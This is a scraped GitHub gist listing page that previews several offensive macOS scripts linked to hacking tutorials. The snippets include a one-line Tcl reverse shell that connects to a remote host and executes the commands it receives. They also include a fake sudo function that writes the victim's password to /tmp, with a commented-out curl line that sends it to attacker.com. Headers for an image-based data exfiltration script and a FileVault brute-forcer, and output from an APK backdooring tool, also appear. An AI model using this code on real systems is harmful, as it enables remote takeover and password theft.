Skip to content

Instantly share code, notes, and snippets.

tokyoneon tokyoneon

Block or report user

Report or block tokyoneon

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@tokyoneon
tokyoneon / data exfil
Created Jul 1, 2019
Hacking macOS: Use Images to Smuggle Data Through Firewalls
View data exfil
#!/bin/bash
# Script for https://null-byte.com/smuggle-data-through-firewalls-0197128/
# `if` statement to detemine if the message is a 'response' one
# This is the command being executed and embedded in the photo.
# Single-quotes are used here to help with escaping special
# characters within the desired command(s).
exfilData='ls -lah "/Users/$USER/"'
# Where the attackers PHP server is located. This needs to be
@tokyoneon
tokyoneon / reverse_shell.tcl
Created Apr 20, 2019
Use One Tclsh Command to Bypass Antivirus #macOS
View reverse_shell.tcl
# https://null-byte.wonderhowto.com/how-to/hacking-macos-use-one-tclsh-command-bypass-antivirus-protections-0186330/
set s [socket 1.2.3.4 9999];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;
@tokyoneon
tokyoneon / apfs_brute.sh
Created Apr 20, 2019
Brute Force FileVault Protected Partitions
View apfs_brute.sh
#!/bin/bash
# https://null-byte.wonderhowto.com/how-to/hacking-macos-break-into-macbook-encrypted-with-filevault-0185177/
# checks to ensure all 3 args are present
if [[ ! $3 ]]; then
echo -e "\nusage: $ ./script.sh /dev/sdaX passwords.list -killswitch\n"
exit 0
fi
@tokyoneon
tokyoneon / sudo
Last active Oct 10, 2019
Sudo function for stealing Unix passwords; script for WonderHowTo article
View sudo
function sudo ()
{
# https://null-byte.com/privesc-0194190/
realsudo="$(which sudo)";
read -s -p "[sudo] password for $USER: " inputPasswd;
printf "\n";
printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt;
# encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;
# curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1;
$realsudo -S -u root bash -c "exit" <<< "$inputPasswd" > /dev/null 2>&1;
View gist:52c3d45ace9d5359050fb6135cb01e00
`/ tokyoneon ~/backdoor-apk/backdoor-apk
> ./backdoor-apk.sh 4.apk
________
/ ______ \
|| _ _ ||
||| || ||| AAAAAA PPPPPPP KKK KKK
|||_||_||| AAA AAA PPP PPP KKK KKK
|| _ _o|| (o) AAA AAA PPP PPP KKKKKK
||| || ||| AAAAAAAA PPPPPPPP KKK KKK
|||_||_||| AAA AAA PPP KKK KKK
View keybase.md

Keybase proof

I hereby claim:

  • I am tokyoneon on github.
  • I am tokyoneon (https://keybase.io/tokyoneon) on keybase.
  • I have a public key whose fingerprint is 94BF C36E A65D 8973 30D6 6199 C432 53B8 CE95 B841

To claim this, I am signing this object:

You can’t perform that action at this time.